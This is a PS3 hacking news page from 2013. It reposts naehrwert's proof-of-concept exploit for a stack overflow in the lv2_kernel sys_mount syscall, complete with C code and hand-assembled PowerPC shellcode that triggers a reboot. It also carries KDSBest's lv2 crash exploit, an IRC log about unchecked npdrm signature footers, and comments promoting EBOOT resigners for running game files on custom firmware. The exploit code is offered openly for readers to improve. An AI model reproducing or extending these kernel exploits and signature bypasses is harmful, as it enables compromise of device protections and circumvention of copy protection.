• Home
  • Downloads
  • EBOOT Fixes
  • Forums
  • New Posts
  • Register
    • Welcome, Register Now! 
    • Premium VIP Membership
    • PS3 Sticky
      • PS3 CFW & MFW
      • PS3 Debug Firmware
      • PS3 Decrypted PSN Links for CFW
      • PS3 Downloads
      • PS3 EBOOT.BIN Original File Links
      • PS3 Firmware
      • PS3 Game Releases List
      • PS3 Guides & Tutorials
      • PS3 Hacking Guides and Tutorials
      • PS3 Hacks & JailBreak
      • PS3 Help & Support
      • PS3 JailBreak Game Compatibility List
      • PS3 JB2 / True Blue (TB) Game Links
      • PS3 multiMAN Updates
      • PS3 Resources
      • PS3 Reviews
      • PS3 Save Files Repository
      • PS3 Themes
      • PS3 Trophies List
      • PS3 Videos
      • PS Vita Trophies List
    • Quick Links
      • Affiliates
      • Contact Us
      • FAQ
      • Post News
      • Site Rules
      • Tag Cloud
 

PS3 LV2_Kernel Exploit Sample Implementation By Naehrwert

Category: PS3 Hacks & JailBreak  By: PS3 News - (nwert.wordpress.com)
Tags: ps3 lv2 kernel exploit ps3 lv2_kernel ps3 lv2_kernel exploit ps3 exploits naehrwert ps3

35w ago - Following up on his PS3 SCETool update and PS3 Dump_Rootkey code, today Sony PlayStation 3 hacker Naehrwert has posted some details on exploiting the PlayStation 3 lv2_kernel and has made available a sample 3.41 implementation below.

To quote from his blog: Exploiting (?) lv2

A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:

1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.

2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.

Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.

/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
	strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/, 
	u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
	lv2syscall8(837, (u64)dev, (u64)fs, (u64)path, 
		(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
	return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
	//check_access @ 0x80000000000505D0
	//li r3, 1 ; blr
	lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
	printf("[*] DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
	//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
	//Solution: Find a usermode exploit in a SELF that has them set.
	
	//Patch the ctrl flags check for testing.
	patch_access_check();
	
	//Nop.
	char nop[] = "X";
	
	//Payload.
	char payload[] = 
	{
		//Insert valid PPC code here (without 0x00 bytes)
		//and hope lv2 heap 0x27 is executable and 0x04 aligned.
		0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
		0x38, 0xE7, 0x01, 0x10, //addi  r7, r7, 0x110
		0x78, 0xE7, 0x83, 0xE4, //sldi  r7, r7, 16
		0x78, 0xE7, 0x07, 0xC6, //sldi  r7, r7, 32
		0x60, 0xE7, 0x91, 0x34, //ori   r7, r7, 0x9134
		0x7C, 0xE9, 0x03, 0xA6, //mtctr r7            ; 0x8000000000009134 (sys_sm_shutdown)
		0x38, 0x60, 0x02, 0x10, //li    r3, 0x210
		0x38, 0x63, 0xFF, 0xF0, //addi  r3, r3, -0x10 ; 0x200 (reboot)
		0x7C, 0x84, 0x22, 0x78, //xor   r4, r4, r4    ; 0
		0x7C, 0xA5, 0x2A, 0x78, //xor   r5, r5, r5    ; 0
		0x7C, 0xC6, 0x32, 0x78, //xor   r6, r6, r6    ; 0
		0x4E, 0x80, 0x04, 0x20, //bctr
		//End of payload.
		0x00
	};
	
	//List containing the entries.
	//stack frame size is 0x1C0
	//strlist = framptr + 0xE0
	//remaining stack frame size is 0xE0 (28 * 8)
	#define LIST_LENGTH (28 + 2 + 1)
	const char *list[LIST_LENGTH] = 
	{
		//-0xE0
		//Overwrite stack with nop entries (0xE0 bytes).
		nop, nop, nop, nop, nop, nop, nop, nop, //0x40
		nop, nop, nop, nop, nop, nop, nop, nop, //0x80
		nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
		nop, nop, nop, nop,
		//0x00
		//Fill 0x10 bytes to reach saved r0.
		nop, nop,
		//+0x10
		//Overwrite saved r0 with a pointer to our payload.
		payload
	};
	
	//Doit!
	printf("[*] Taking the plunge...\n");
	s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
	printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
	
	return 0;
}
From Mathieulh (via pastebin.com/naxXkv3M):

Sep 04 13:16:42 <Mathieulh>     I just posted one last thing
Sep 04 13:17:05 <Mathieulh>     I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
Sep 04 13:17:25 <Mathieulh>     and yeah I said the truth
Sep 04 13:17:31 <Mathieulh>     this footer signature
Sep 04 13:17:33 <Mathieulh>     is not checked
Sep 04 13:17:35 <Mathieulh>     even in 4.21
Sep 04 13:17:37 <Mathieulh>     go figure
Sep 04 13:17:44 <Mathieulh>     at least not upon npdrm self execution
Sep 04 13:17:59 <Mathieulh>     I believe it is checked while the packages install
Sep 04 13:18:03 <Mathieulh>     but that's something else
Sep 04 13:18:31 <Mathieulh>     I don't even think it was called on 3.55 at all, (the function that does the stuff)
Sep 04 13:18:33 <Mathieulh>     that's also wrong info
Sep 04 13:18:35 <Mathieulh>     I gave kakaroto
Sep 04 13:18:40 <Mathieulh>     over a week of work
Sep 04 13:18:48 <Mathieulh>     with everything one would want to know
Sep 04 13:18:52 <Mathieulh>     about self format
Sep 04 13:19:16 <Mathieulh>     but he called it "useless" without revealing what I gave him
Sep 04 13:19:31 <Mathieulh>     and he claimed how all of this was already public when most wasn't
Sep 04 13:19:47 <Mathieulh>     he did all this along with his pamphlet in order to hide his incompetence
Sep 04 13:20:04 <Mathieulh>     as he was "begging" me (literally) to get the extra info he needed to get his hack to work
Sep 04 13:20:09 <Mathieulh>     and I told him to figure the rest himself
Sep 04 13:20:12 <Mathieulh>     and he never could
Sep 04 13:20:19 <Mathieulh>     figures
Sep 04 13:20:34 <Mathieulh>     zecoxao, I gave him something he needed
Sep 04 13:20:42 <Mathieulh>     but he wanted me to supply ALL the work
Sep 04 13:20:48 <Mathieulh>     and I wasn't ok with that
Sep 04 13:20:58 <Mathieulh>     the more I gave him
Sep 04 13:21:00 <Mathieulh>     the more he asked
Sep 04 13:21:32 <Mathieulh>     but yeah
Sep 04 13:22:03 <Mathieulh>     if you can actually resign lv0, and put your own keyset in appldr on 4.21
Sep 04 13:22:16 <Mathieulh>     and set your own keyset to something higher than 0x0D
Sep 04 13:22:35 <Mathieulh>     and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
Sep 04 13:22:37 <Mathieulh>     and run it
Sep 04 13:22:41 <Mathieulh>     it runs just fine...
Sep 04 13:22:51 <Mathieulh>     (yes, I did test this)
Sep 04 13:23:18 <Mathieulh>     they do whitelist anything older than keyset 0x0D now for npdrm too
Sep 04 13:23:32 <Mathieulh>     so crafting npdrms for 4.21 would not work on ofw now
Sep 04 13:23:38 <Mathieulh>     but that stupid footer
Sep 04 13:23:47 <Mathieulh>     which he claims is why whatever I told him was BS
Sep 04 13:23:54 <Mathieulh>     is STILL NOT CHECKED
Sep 04 13:24:22 <Mathieulh>     Kraparoto banned me from all the chans he is op as soon as I exposed him
Sep 04 13:24:27 <Mathieulh>     how mature of him eh ?
Sep 04 13:25:22 <Mathieulh>     so not only he is an incompetent whining kid, but he also totally lacks maturity
Sep 04 13:25:28 <Mathieulh>     so I am done with the stupid drama
Sep 04 13:25:32 <Mathieulh>     or talking to him
The footer signature is still not checked upon npdrm self files execution as of 4.21.

Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.

Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.

Finally, from KDSBest (via twitlonger.com/show/jcmh80): Since naehrwert posted an lv2 exploit I will do so too . The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA.

Btw. It just crashes the console for now, since I totally overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^

//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elf

register unsigned long long payloadHolder2 asm ("r21");
register unsigned long long payloadHolder asm ("r20");
register unsigned long long stackpointer asm ("r1");
register unsigned long long counter asm ("r25");
register unsigned long long bufferStackpointer asm ("r26");

int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;

payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;

// Incrementer
counter = 0x00;

// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscall

asm("li %r0, 0x0");
asm("li %r3, 0x6");
asm("li %r4, 0x1");
// li r11, 0x24F -> PANIC
asm("mr %r22, %r20");
asm("mr %r23, %r20");
asm("mr %r24, %r20");
asm("mr %r27, %r20");
asm("mr %r28, %r20");
asm("mr %r29, %r20");
asm("mr %r30, %r20");
asm("mr %r31, %r20");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;

// We write sc
asm("mr %r22, %r21");
asm("mr %r23, %r21");
asm("mr %r24, %r21");
asm("mr %r27, %r21");
asm("mr %r28, %r21");
asm("mr %r29, %r21");
asm("mr %r30, %r21");
asm("mr %r31, %r21");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;


if(counter < 0x1000000)
goto doItAgain;

stackpointer = bufferStackpointer;
return 0;
}
I didn't managed to make it work on 4.21 so I just did on 4.20






Stay tuned for more PS3 Hacks and PS3 CFW news, follow us on Twitter and be sure to drop by the PS3 Hacks and PS3 Custom Firmware Forums for the latest PlayStation 3 scene updates and homebrew releases!

Comments 211 Comments - Go to Forum Thread »

Errors

The following errors occurred with your submission

Okay

Quick Reply Quick Reply

  • Decrease Size
    Increase Size
  • Wrap [QUOTE] tags around selected text
Posting Quick Reply - Please Wait Posting Quick Reply - Please Wait
StanSmith's Avatar
#196 - StanSmith - 13w ago
Reply
Didn't work for me. Says it cant decrypt the eboot but other resigners work fine with it.

PS3 News's Avatar
#195 - PS3 News - 13w ago
Reply
Today PlayStation 3 homebrew developer RazorX has released PS3 CFW EBOOT Resigner v1.01 followed by v1.03 and v1.05 which is an x86 / x64 application for updating 3.55 and 3.41 CFW game files for use on 4.XX CFW.

Download: http://www.mirrorcreator.com/files/WLKPILB9/CFW_Eboot_Resigner_v1.01_By_RazorX.zip_links / http://www.mirrorcreator.com/files/N1OXE7OA/CFW_Eboot_Resigner_v1.03_By_RazorX.zip_links / http://www.sendspace.com/file/0v6iqv (Mirror) / http://www.sendspace.com/file/xglplz

To quote: Hey guys i got a very simple very noob proof app for you i've put together, very simply all you do is put an EBOOT.BIN into the same folder as the app then launch it and you can select from:

• CFW 3.40
• CFW 3.55
• CFW 3.60
• CFW 4.20
• CFW 4.30

and then choose either:

• NPDRM EBOOT
• DISC EBOOT

Then the app will do the rest very simple very easy very fast and an all-in-one application however it will require you to install 7-Zip, i was going to include it into the app but then my virus scanner thinks it's a virus and deletes it because it's stupid so just install 7-Zip and your golden.

Enjoy

Update: I've just updated my app to v1.01 now it will retrieve the content id from the eboot and ask you if it's correct if it is enter "y" for yes and it will use it, if you enter "n" it will then ask you to enter a content id in which case you can enter whatever you want then hit enter and it will use that.

Update 2: Added a x86 and a x64 version to the zip file.

Update 3: Added the ability to patch pkg files and Added 7zip built in so you no longer need to install it

Update 4: Updated pkg section, now you can repack games/homebrew, gamedata, ps1 games & minis with the last 3 you will need to enter the contentid also you can now change the package version of any of the pkg options.

Update 5: Added contentid app and param.sfo editor app from aldostools (thank you aldostools) to allow you to find out the contentid from any pkg you gonna use and to allow full customization of the param.sfo file, all build in to this app and setup to automatically load the pkg or param your using.

Update 6: Updated pkg unpacking process so now it shouldnt have a problem unpacking anything the keys are out for. Updated script so now it no longer asks you for the version now it extracts the version directly from the PARAM.SFO.

Hint: If your having problems with the repacking of the pkg please check the contentid against the param.sfo i had problems repacking a pkg until i realized the titleid in the param.sfo did not match the titleid that is part of the contentid.



More PlayStation 3 News...

miandad's Avatar
#194 - miandad - 22w ago
Reply
thx too difficult to resign pkg for 4.3.

waiting for gui TrueAncestor SELF Resigner.

PS3 News's Avatar
#193 - PS3 News - 22w ago
Reply
Following up on his previous revision, today PlayStation 3 developer JjKkYu has updated his SCETool Script to PS3 TrueAncestor SELF Resigner v1.85 with the changes detailed below.

Download: http://rghost.net/42359021 / http://www.mediafire.com/?4ojs79teb4486x4 (Mirror)

v1.85 Changelog:

1. Turn on compress data switch as default.
2. Add decrypt SELF/SPRX option.
3. Add Klic Pool file in tool folder.
4. Fix bug in resigning npdrm self file.


More PlayStation 3 News...

veryclever19's Avatar
#192 - veryclever19 - 23w ago
Reply
Thank you for your great script. I've converted "Costume Quest" and it works like a charm.

Page 4 of 43 «‹123456789›LAST »

Related PS3 News and PS3 CFW Hacks or JailBreak Articles

• Guide to Install multiMAN PS3 Themes via USB from a PKG File
• Simple PS3Updates v1.6 Build 2 Final PS3 Homebrew App Updated
• Video: Super Pixel Jumper v1.2 PS3 Homebrew Game is Released
• Video: Pointman: The Akkadian Wars PS3 Homebrew Game Arrives
• PSPMinis / PS3Minis / Bite v1.5.1 Update for PS3 is Now Released
• PS3 Fan Control Utility v1.7 for PS3 CFW CEX 3.41 to 4.41 Arrives
Affiliates  NewsNow  Privacy  PS3 CFW & MFW  PS3 Hacks & JailBreak  PS3 Reviews  PS3 Videos  © 2013 PlayStation 3 News

PlayStation 3 Links

• Contact Us E-Mail
• PS3 Affiliates
• PS3 CFW & MFW
• PS3 Debug Firmware
• PS3 Decrypted PSN Links for CFW
• PS3 Downloads
• PS3 EBOOT.BIN Original File Links
• PS3 Firmware
• PS3 Game Releases List
• PS3 Guides & Tutorials
• PS3 Hacking Guides and Tutorials
• PS3 Hacks & JailBreak
• PS3 Help & Support
• PS3 JailBreak Game Compatibility List
• PS3 JB2 / True Blue (TB) Game Links
• PS3 multiMAN Updates
• PS3 News Forums
• PS3 News Site FAQ
• PS3 News Site Advertising FAQ
• PS3 News Site Posting FAQ
• PS3 News Site Privacy FAQ
• PS3 News Site Rules
• PS3 News Site Tag Cloud
• PS3 News Site Terms
• PS3 Resources
• PS3 Reviews
• PS3 Save Files Repository
• PS3 Themes
• PS3 Trophies List
• PS3 Videos
• PS Vita Trophies List

PlayStation 3 News Discussions
The Yes/No question thread - 2h ago

windrider42's Avatar
Quote No Are you Depressed?...
By windrider42 with
 2051 Comments »
Final Fantasy XIV: A Realm Reborn on PS3 8/27, Collector's Edition - 2h ago

Brenza's Avatar
Quote and now square is dead to me! ...
By Brenza with
 1 Comment »
The Yes/No question thread - 6h ago

mm4dsc's Avatar
Quote No. Are you sad?...
By mm4dsc with
 2051 Comments »
Video: The Witness on PlayStation 4 / PS4: Creator Conversations - 9h ago

PS3 News's Avatar
Quote Thekla Incorporated President Jonathan Blow shared some video footage today which include conversations with the creators of upcoming title The...
By PS3 News with
 0 Comments »

Latest PlayStation 3 Trophies
Pool Nation: Mega Shot
Pool Nation: Mega Streak
Pool Nation: Super Zen
Pool Nation: Zen

Latest PlayStation Vita Trophies
Men's Room Mayhem: Toilet Trouble
Men's Room Mayhem: Mayhem Master
Men's Room Mayhem: Hygiene Award
Men's Room Mayhem: Sand in the Face

Latest PlayStation 3 Releases
Tom Clancys H A W X EUR PS3-Googlecus - 05-23-2013
Terraria JPN PS3-HR - 05-23-2013
Kamen Rider Battlide War JPN PS3-Caravan - 05-21-2013
Fast And Furious Showdown PS3-DUPLEX - 05-21-2013

Latest PlayStation 3 Themes
Wolverine Origins PS3 Theme - 05-19-2013
Heavy Rain (Official) Dynamic PS3 Theme - 05-09-2013
Wipeout HD Fury Dynamic PS3 Theme - 05-06-2013
Batman Arkham City Dynamic PS3 Theme - 05-04-2013
  • Contact Us
  • -
  • PS3 News